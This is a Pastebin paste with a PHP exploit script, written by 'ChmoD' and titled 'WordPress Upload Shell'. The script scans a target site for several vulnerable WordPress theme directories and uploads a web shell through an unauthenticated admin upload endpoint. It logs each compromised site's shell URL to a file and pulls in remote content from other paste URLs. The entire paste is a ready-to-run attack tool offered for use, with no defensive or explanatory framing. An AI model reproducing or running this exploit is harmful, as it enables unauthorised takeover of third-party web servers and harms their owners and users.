HackMe

WordPress Upload Shell

Jun 3rd, 2015
855
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.89 KB | None | 0 0
  1. ###################################################
  2. # Comando: #
  3. # root@ChmoD:~# php Exploit.php http://site.com/ #
  4. ###################################################
  5.  
  6. <?php
  7. //Coded By ./ChmoD
  8. $target = $argv[1];
  9. if (!preg_match("~^(?:f|ht)tps?://~i", $target)) {
  10. $target = "http://" . $target;
  11. }
  12. $uploadfile="upload.php"; //shell upload
  13. $domain = explode("/", $target);
  14. $server_addr = gethostbyname($domain[2]);
  15. $list = array('/wp-content/themes/holding_pattern/',
  16. '/wp-content/themes/charity/',
  17. '/wp-content/themes/simpleCart/',
  18. '/wp-content/themes/micro/',
  19. '/wp-content/themes/evo/',
  20. '/wp-content/themes/gallery/');
  21.  
  22. foreach($list as $dir){
  23. $headers = get_headers($target.$dir);
  24. if($headers[0] == 'HTTP/1.1 200 OK') {
  25. echo "[+]Encontrado ======>$dir: ";
  26. $tek = $target.$dir."/admin/upload-file.php";
  27. $ch = curl_init($tek);
  28. curl_setopt($ch, CURLOPT_POST, true);
  29. curl_setopt($ch, CURLOPT_VERBOSE, false);
  30. curl_setopt($ch, CURLOPT_POSTFIELDS,array(md5($server_addr)=>"@$uploadfile",'upload_path'=>base64_encode('.')));
  31. curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
  32. $postResult = curl_exec($ch);
  33. curl_close($ch);
  34. //print $postResult;
  35.  
  36. if(preg_match("/success/",$postResult)) {
  37. echo "[*]Sucesso[*]\n[+]Shell Upada ======> ".$target.$dir."admin/upload.php";
  38. $f = fopen("shells.txt","a+");
  39. fwrite($f , "$target$dir"."admin/upload.php\n");
  40. fclose($f);
  41. }else{
  42. echo "Nao Exploitado\n";
  43. }
  44. $ChmoD = @file_get_contents("http://pastebin.com/raw.php?i=z3G4uyCN");
  45.  
  46.  
  47. $y = @file_get_contents("");
  48. echo "$y \n";
  49. $year = @file_get_contents("http://pastebin.com/raw.php?i=ufCi3rha");
  50. echo "$year \n";
  51. }
  52. }
  53. ?>
Add Comment
Please, Sign In to add comment